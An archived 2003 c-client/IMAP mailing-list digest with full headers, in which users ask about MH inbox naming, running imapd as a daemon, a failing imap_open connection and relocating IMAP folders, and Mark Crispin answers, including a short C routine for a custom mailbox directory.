Mon, 16 Jun 2003, Tomas Pospisek's Mailing Lists wrote: > > Is there any specific reason, c-client calls the mh inbox #mhinbox and not > > INBOX like all the other INBOXes of all the other formats? > > Yes, there is a specific reason. > > Oh? You would like to know the reason? > > In c-client, MH format is far less functional than other formats. Let's > suppose that MH format responds to the INBOX name. Then the following > little scenario plays out: > > If someone experimented with MH years ago, stopped using it, but then > failed to remove all vestiges of MH support, a trap is left to spring the > moment the user uses any c-client base application. > > One form of the trap is that the user's mail disappeared in their non > c-client application. The other form of the trap is that things (such as > sticky flags) mysteriously do not work as advertised and cause substantial > difficulties > > Now lets suppose that that Someone is very high up, that when the trap > sprung on that Someone it was a Major Issue; and that when the cause was > finally determined, Someone Else got called on the carpet. > > #mhinbox is not going to change. > > > It's inconvenient as would force me to do #mhinbox<->INBOX mapping in > > mailsync if I wanted to do things properly. > > That's one approach. The other is not to have any such knowledge in the > first place. Mhhh don't know much what to do out of this. Mailsync _is_ supporting #mh and curiously enough some of the most important contributors of mailsync are using it - so out of those political reasons I'll not drop support of it - but anyway - mailsync is not trying to hide c-client's functionality - it just gives the user whatever c-client offers. Since I'd like to document the issue I'll probably just drop your mail, that's specific and cryptic at the same time into the documentation... :-/ *t -- Bad times for dictators. At least in the oil regions. Goedart Palm From pinedev@shivax2.cac.washington.edu Sun Jun 29 21:40:31 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 29 Jun 2003 21:40:31 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5U4eUvu000453 for ; Sun, 29 Jun 2003 21:40:30 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5U4eQ7n007409 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 29 Jun 2003 21:40:26 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h5U4de66017214; Sun, 29 Jun 2003 21:39:40 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5U4ao1M056252 for ; Sun, 29 Jun 2003 21:36:50 -0700 Received: from imsmq01.netvigator.com (imsmq01.netvigator.com [218.102.49.35]) by mxu7.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with SMTP id h5U4am0A025160 for ; Sun, 29 Jun 2003 21:36:49 -0700 Received: (qmail 25193 invoked from network); 30 Jun 2003 04:36:44 -0000 Received: from pcd725253.netvigator.com (HELO test) (218.103.1.253) by imsmq01.netvigator.com with SMTP; 30 Jun 2003 04:36:44 -0000 Message-Id: <013601c33ebf$db8f8ec0$7903a8c0@test.com> Date: Mon, 30 Jun 2003 12:27:03 +0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "kclo2000" To: Subject: How to start imapd as daemon process instead of starting from inetd MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-PMX-Version: 4.0.1.69468 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=XXIIIIIIII, Probability=28%, Report="FROM_ENDS_IN_NUMS, PRIORITY_NO_NAME, SIGNATURE_SHORT_DENSE, SPAM_PHRASE_00_01, __EVITE_CTYPE, __HAS_MIMEOLE, __HAS_MSMAIL_PRI, __HAS_X_PRIORITY" Dear all, How to start imapd process as daemon instead of starting from inetd? Thanks! -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Jun 29 22:38:41 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 29 Jun 2003 22:38:41 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5U5cevu001723 for ; Sun, 29 Jun 2003 22:38:40 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5U5cbL5028041 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 29 Jun 2003 22:38:37 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h5U5belW011640; Sun, 29 Jun 2003 22:37:40 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5U5ZQ1M056120 for ; Sun, 29 Jun 2003 22:35:26 -0700 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5U5ZO3L001886 for ; Sun, 29 Jun 2003 22:35:25 -0700 Received: from localhost (mrc@localhost) by Ikkoku-Kan.Panda.COM id WAA28590; Sun, 29 Jun 2003 22:35:19 -0700 (PDT) Message-Id: Date: Sun, 29 Jun 2003 22:35:19 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: kclo2000 Cc: c-client@u.washington.edu Subject: Re: How to start imapd as daemon process instead of starting from inetd In-Reply-To: <013601c33ebf$db8f8ec0$7903a8c0@test.com> References: <013601c33ebf$db8f8ec0$7903a8c0@test.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@Ikkoku-Kan.Panda.COM X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 30 Jun 2003, kclo2000 wrote: > How to start imapd process as daemon instead of starting from inetd? You don't. Each imapd session requires its own process, so it can setuid() itself to the user. Therefore, there would be no advantage to running imapd as a daemon. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Jun 30 19:57:32 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 30 Jun 2003 19:57:32 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h612vWvu014768 for ; Mon, 30 Jun 2003 19:57:32 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h612vRL5003325 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 30 Jun 2003 19:57:27 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h612uSEg037340; Mon, 30 Jun 2003 19:56:28 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h612si1M016464 for ; Mon, 30 Jun 2003 19:54:44 -0700 Received: from bluebird.co.kr ([211.58.254.221]) by mxu7.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h612seZF003917 for ; Mon, 30 Jun 2003 19:54:42 -0700 Received: from abyss76 [211.63.88.134] by bluebird.co.kr (SMTPD32-5.05) id AC3EE5E4030E; Tue, 01 Jul 2003 12:08:46 +0900 Message-Id: <002401c33f7c$0e551f20$86583fd3@abyss76> Date: Tue, 1 Jul 2003 11:54:14 +0900 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: =?ks_c_5601-1987?B?sei8rsHf?= To: Subject: imap_open cannot connect to imap-server MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0021_01C33FC7.7E16A180" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-PMX-Version: 4.0.1.70432 X-Uwash-Spam: Gauge=XXXXXXX, Probability=70%, Report="CHARSET_FARAWAY_HEADERS, FROM_ENDS_IN_NUMS, HTML_50_70, PRIORITY_NO_NAME, RCVD_IN_RFCI, SMTPD_IN_RCVD, SPAM_PHRASE_00_01, __EVITE_CTYPE, __HAS_MIMEOLE, __HAS_MSMAIL_PRI, __HAS_X_PRIORITY" X-Uwash-Spam: Gauge=XXXXIIII, Probability=44%, Report='FROM_ENDS_IN_NUMS, __HAS_MIMEOLE, __HAS_X_PRIORITY, __USER_AGENT_OE, __HAS_OUTLOOK_IN_MAILER, __HAS_X_MAILER, SMTPD_IN_RCVD, __HAS_MSMAIL_PRI, __EVITE_CTYPE, CHARSET_FARAWAY_HEADERS, HTML_50_70' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_0021_01C33FC7.7E16A180 Content-Type: text/plain; charset="ks_c_5601-1987" Content-Transfer-Encoding: quoted-printable Greeting. my problem is that imap_open cannot connect to external imap-server. but imap_open connects to local imap-server successfully. When imap_open try to connect to external imap-server, imap_open return = "no such file or directory" -_-;; and i check "connect" function in "tcp_unix.c".=20 i check IP-address and Port is OK. but, "connect" function failed. and "telnet" connect to external imap-server.( telnet xx.xx.xx.xx 143 = connect to external mail server successfully) my environment is followings. iPlanet WebServer 6.0 iPlanet MessageServer 5.2 PHP 4.3.0 imap-client imap2002c1 please give me your help~. ------=_NextPart_000_0021_01C33FC7.7E16A180 Content-Type: text/html; charset="ks_c_5601-1987" Content-Transfer-Encoding: quoted-printable
    Greeting.
     
    my problem is that imap_open cannot = connect to=20 external imap-server.
     
    but imap_open connects to local = imap-server=20 successfully.
     
    When imap_open try to connect to = external=20 imap-server, imap_open return "no such file or directory" = -_-;;
     
    and i check "connect" function in = "tcp_unix.c".=20
     
    i check IP-address and Port is OK. but, = "connect" function failed.
     
    and "telnet" connect to external imap-server.( telnet xx.xx.xx.xx = 143=20 connect to external mail server successfully)
     
    my environment is = followings.
     
    iPlanet WebServer 6.0
    iPlanet MessageServer 5.2
    PHP 4.3.0
    imap-client imap2002c1
     
     
    please give me your help~.
     
    ------=_NextPart_000_0021_01C33FC7.7E16A180-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jul 1 02:28:11 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 1 Jul 2003 02:28:11 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h619SAvu026189 for ; Tue, 1 Jul 2003 02:28:10 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h619S87n026478 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 1 Jul 2003 02:28:08 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h619RIEg015054; Tue, 1 Jul 2003 02:27:19 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h619QD1M031218 for ; Tue, 1 Jul 2003 02:26:13 -0700 Received: from jester.ti.com (jester.ti.com [192.94.94.1]) by mxu5.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h619Q876025486 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Tue, 1 Jul 2003 02:26:09 -0700 Received: from dlep52.itg.ti.com ([157.170.134.103]) by jester.ti.com (8.12.9/8.12.9) with ESMTP id h619Q7m1011103 for ; Tue, 1 Jul 2003 04:26:07 -0500 (CDT) Received: from ffab.tide.ti.com (localhost [127.0.0.1]) by dlep52.itg.ti.com (8.12.9/8.12.9) with ESMTP id h619Q5Th013453 for ; Tue, 1 Jul 2003 04:26:06 -0500 (CDT) Received: from ti.com (terbium [137.167.218.81]) by ffab.tide.ti.com (8.12.6/8.12.6) with ESMTP id h619Q5Zt025667 for ; Tue, 1 Jul 2003 11:26:05 +0200 (MEST) Message-Id: <3F0153AD.8010506@ti.com> Date: Tue, 01 Jul 2003 11:26:05 +0200 Reply-To: martynas@ti.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Martynas Buozis To: c-client@u.washington.edu Subject: imapd directories MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: lt, en X-Uwash-Spam: Gauge=XIIII, Probability=14%, Report="SIGNATURE_SHORT_DENSE, SPAM_PHRASE_05_08, X_ACCEPT_LANG, __EVITE_CTYPE" X-Uwash-Spam: Gauge=XII, Probability=12%, Report="NOSPAM_INC, SIGNATURE_LONG_SPARSE, SPAM_PHRASE_05_08, X_ACCEPT_LANG, __EVITE_CTYPE, __USER_AGENT, __USER_AGENT_MOZILLA_UA" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello I need a help to find out what should I changed in src/osdep/unix/env_unix.c if I want IMAP folders and INBOX to be located not in user's home directory. For example user martynas has home directory /home/martynas. But I would like INBOX and IMAP folders (sub folders) to be in /data/mail/martynas . For INBOX it's clear - I changed sysinbox function to sprintf to tmp right values. But what should I change if I want home directory for IMAP folders to be different from the one you get with getpwnam ? Sorry if this question was discussed earlier, but I was not able to find information about it. Thank you in advance for your help. -- With best regards Martynas Buozis UNIX Systems Administrator FFAB Computer Engineering ------------------------------------------------------------- Martynas Buozis Texas Instruments Deutschland GmbH Mail: martynas@ti.com Haggertystrasse 1 Phone: +49 8161 80 4506 85356 Freising Fax: +49 8161 80 3191 Germany -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jul 1 06:39:43 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 1 Jul 2003 06:39:43 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h61Ddhvu001482 for ; Tue, 1 Jul 2003 06:39:43 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h61DdaL5020374 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 1 Jul 2003 06:39:36 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h61DcYlW021652; Tue, 1 Jul 2003 06:38:34 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h61DbR1M027304 for ; Tue, 1 Jul 2003 06:37:27 -0700 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h61DbQe0004316 for ; Tue, 1 Jul 2003 06:37:26 -0700 Received: from localhost (mrc@localhost) by Ikkoku-Kan.Panda.COM id GAA02050; Tue, 1 Jul 2003 06:37:22 -0700 (PDT) Message-Id: Date: Tue, 1 Jul 2003 06:37:22 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Martynas Buozis Cc: c-client@u.washington.edu Subject: Re: imapd directories In-Reply-To: <3F0153AD.8010506@ti.com> References: <3F0153AD.8010506@ti.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@Ikkoku-Kan.Panda.COM X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 1 Jul 2003, Martynas Buozis wrote: > I need a help to find out what should I changed in > src/osdep/unix/env_unix.c if I want IMAP folders and INBOX to be located > not in user's home directory. The information you need is in file imap-2002d/docs/CONFIG. Pay particular example to example 2. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Jul 1 07:22:34 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 1 Jul 2003 07:22:34 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h61EMYvu002773 for ; Tue, 1 Jul 2003 07:22:34 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h61EMV7n002304 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 1 Jul 2003 07:22:31 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h61ELeEg019840; Tue, 1 Jul 2003 07:21:40 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h61EKl1M016400 for ; Tue, 1 Jul 2003 07:20:47 -0700 Received: from go4.ext.ti.com (go4.ext.ti.com [192.91.75.132]) by mxu7.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h61EKiZG019389 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Tue, 1 Jul 2003 07:20:45 -0700 Received: from dlep50.itg.ti.com ([157.170.141.74]) by go4.ext.ti.com (8.12.9/8.12.9) with ESMTP id h61EKewD029173; Tue, 1 Jul 2003 09:20:40 -0500 (CDT) Received: from ffab.tide.ti.com (localhost [127.0.0.1]) by dlep50.itg.ti.com (8.12.9/8.12.9) with ESMTP id h61EKd20022186; Tue, 1 Jul 2003 09:20:39 -0500 (CDT) Received: from ti.com (terbium [137.167.218.81]) by ffab.tide.ti.com (8.12.6/8.12.6) with ESMTP id h61EKcZt015618; Tue, 1 Jul 2003 16:20:38 +0200 (MEST) Message-Id: <3F0198B6.1020805@ti.com> Date: Tue, 01 Jul 2003 16:20:38 +0200 Reply-To: martynas@ti.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Martynas Buozis To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: imapd directories References: <3F0153AD.8010506@ti.com> MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: lt, en X-PMX-Version: 4.0.1.70432 X-Uwash-Spam: Gauge=III, Probability=3%, Report='X_ACCEPT_LANG, __USER_AGENT_MOZILLA_UA, __USER_AGENT, __EVITE_CTYPE, __REFERENCES, NOSPAM_INC, REFERENCES, DEAR_SOMEBODY, EMAIL_ATTRIBUTION, QUOTED_EMAIL_TEXT, SPAM_PHRASE_05_08, SIGNATURE_LONG_SPARSE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Dear Mark Thank you for your help. I read this document before posting mail. As I understood in example 2 is described how to use not home directory directly, but it's sub directory as location for IMAP folders. For example always point to /home//mail instead of /home/ in case if *mailsubdir equals "mail". Am I wrong and my problem will be solved with "*mailsubdir = "/data/mail"" ? But in code I see, that : if (mailsubdir) { char tmp[MAILTMPLEN]; sprintf (tmp,"%s/%s",home,mailsubdir); myMailboxDir = cpystr (tmp);/* use pre-defined subdirectory of home */ } So it prints home, than mailsubdir. What if I want home to be different? While reading docs/CONFIG I understood, that home directory should be changed in env_init() routine : "The most common modifications are to env_init(), to modify the software's idea of the home directory (which is used everywhere as the default directory)". But, well, I am not very strong in C and there are so many various variables used there (home, myHomeDir, etc.) ... Also I saw, that getpwnam is used more than one tim before setting folders to pw->pw_dir, so this makes me confused. Will it be enough to change home dir location in one place ? I am trying to use now "static char *blackBoxDir = "/data/mail";" - as I understood it will do right thing. Alias it is also nut fully clear for me what is that blackBox and how properly setup it, because in docs/imaprc.txt under section 5 ("set black-box-directory ") there is written : "In order to make this work without crashing, you must set another option which is not listed in this document." And my new imapd is really crashing, so I am not sure, that setting blackBoxDir to "/data/mail" is working. It is not clear about which setting there is information in docs/imaprc.txt file. So maybe you can help me to clarify these questions ? I will highly appreciate any comments about this matter. Thank you in advance. With best regards Martynas Mark Crispin wrote: > On Tue, 1 Jul 2003, Martynas Buozis wrote: > >>I need a help to find out what should I changed in >>src/osdep/unix/env_unix.c if I want IMAP folders and INBOX to be located >>not in user's home directory. > > > The information you need is in file imap-2002d/docs/CONFIG. Pay > particular example to example 2. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. -- With best regards Martynas Buozis UNIX Systems Administrator FFAB Computer Engineering ------------------------------------------------------------- Martynas Buozis Texas Instruments Deutschland GmbH Mail: martynas@ti.com Haggertystrasse 1 Phone: +49 8161 80 4506 85356 Freising Fax: +49 8161 80 3191 Germany From pinedev@shivax2.cac.washington.edu Tue Jul 1 07:32:11 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 1 Jul 2003 07:32:11 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h61EWBvu003021 for ; Tue, 1 Jul 2003 07:32:11 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h61EW77n002599 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 1 Jul 2003 07:32:08 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h61EV366084314; Tue, 1 Jul 2003 07:31:03 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h61EUj1M016444 for ; Tue, 1 Jul 2003 07:30:45 -0700 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h61EUiu4002500 for ; Tue, 1 Jul 2003 07:30:44 -0700 Received: from localhost (mrc@localhost) by Ikkoku-Kan.Panda.COM id HAA02125; Tue, 1 Jul 2003 07:30:41 -0700 (PDT) Message-Id: Date: Tue, 1 Jul 2003 07:30:40 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Martynas Buozis Cc: c-client@u.washington.edu Subject: Re: imapd directories In-Reply-To: <3F0198B6.1020805@ti.com> References: <3F0153AD.8010506@ti.com> <3F0198B6.1020805@ti.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@Ikkoku-Kan.Panda.COM X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report="IN_REP_TO, MSG_ID_ADDED_BY_MTA_3, REFERENCES, SPAM_PHRASE_03_05, __IN_REP_TO, __REFERENCES, __USER_AGENT_PINE" If you want to use a directory different from the home directory, then just rewrite routine mymailboxdir() to do what you want, e.g. static char *mymailboxdir () { unsigned long flags; char *user = myusername_full (&flags); /* initialize if first time and logged in */ if (!myMailboxDir && (flags & MU_LOGGEDIN)) { char tmp[MAILTMPLEN]; sprintf (tmp,"/data/mail/%s",myusername ()); myMailboxDir = cpystr (tmp);/* use subdirectory of /data/mail */ } return myMailboxDir ? myMailboxDir : ""; } Do not use the black box stuff. It will not do what you want. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Jul 2 03:27:30 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 2 Jul 2003 03:27:30 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h62ARUvu016551 for ; Wed, 2 Jul 2003 03:27:30 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h62ARRof005841 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 2 Jul 2003 03:27:28 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h62AQJlW012784; Wed, 2 Jul 2003 03:26:19 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h62AM01M016512 for ; Wed, 2 Jul 2003 03:22:00 -0700 Received: from dragon.ti.com (news.ti.com [192.94.94.33]) by mxu3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h62ALwe1013145 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Wed, 2 Jul 2003 03:21:59 -0700 Received: from dlep52.itg.ti.com ([157.170.134.103]) by dragon.ti.com (8.12.9/8.12.9) with ESMTP id h62ALq1p010381; Wed, 2 Jul 2003 05:21:52 -0500 (CDT) Received: from ffab.tide.ti.com (localhost [127.0.0.1]) by dlep52.itg.ti.com (8.12.9/8.12.9) with ESMTP id h62ALoTh000524; Wed, 2 Jul 2003 05:21:51 -0500 (CDT) Received: from ti.com (terbium [137.167.218.81]) by ffab.tide.ti.com (8.12.6/8.12.6) with ESMTP id h62ALnZt005224; Wed, 2 Jul 2003 12:21:50 +0200 (MEST) Message-Id: <3F02B23D.8020706@ti.com> Date: Wed, 02 Jul 2003 12:21:49 +0200 Reply-To: martynas@ti.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Martynas Buozis To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: imapd directories References: <3F0153AD.8010506@ti.com> <3F0198B6.1020805@ti.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: lt, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-PMX-Version: 4.0.1.70432 X-Uwash-Spam: Gauge=III, Probability=3%, Report='X_ACCEPT_LANG, __EVITE_CTYPE, __REFERENCES, REFERENCES, DEAR_SOMEBODY, EMAIL_ATTRIBUTION, QUOTED_EMAIL_TEXT, SPAM_PHRASE_08_13' Dear Mark Thank you very much for your help. Alias imapd is still looking for IMAP folders in home directory (/home/martynas) instead of special directory (/data/mail/martynas) after I recompiled imapd with these changes. I can see this with truss command. If you will have other ideas - please let me know. Thank you very much for your time and efforts. Is there anywhere documented what is black box ? With best regards Martynas Buozis Mark Crispin wrote: > If you want to use a directory different from the home directory, then > just rewrite routine mymailboxdir() to do what you want, e.g. > > static char *mymailboxdir () > { > unsigned long flags; > char *user = myusername_full (&flags); > /* initialize if first time and logged in */ > if (!myMailboxDir && (flags & MU_LOGGEDIN)) { > char tmp[MAILTMPLEN]; > sprintf (tmp,"/data/mail/%s",myusername ()); > myMailboxDir = cpystr (tmp);/* use subdirectory of /data/mail */ > } > return myMailboxDir ? myMailboxDir : ""; > } > > > Do not use the black box stuff. It will not do what you want. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public 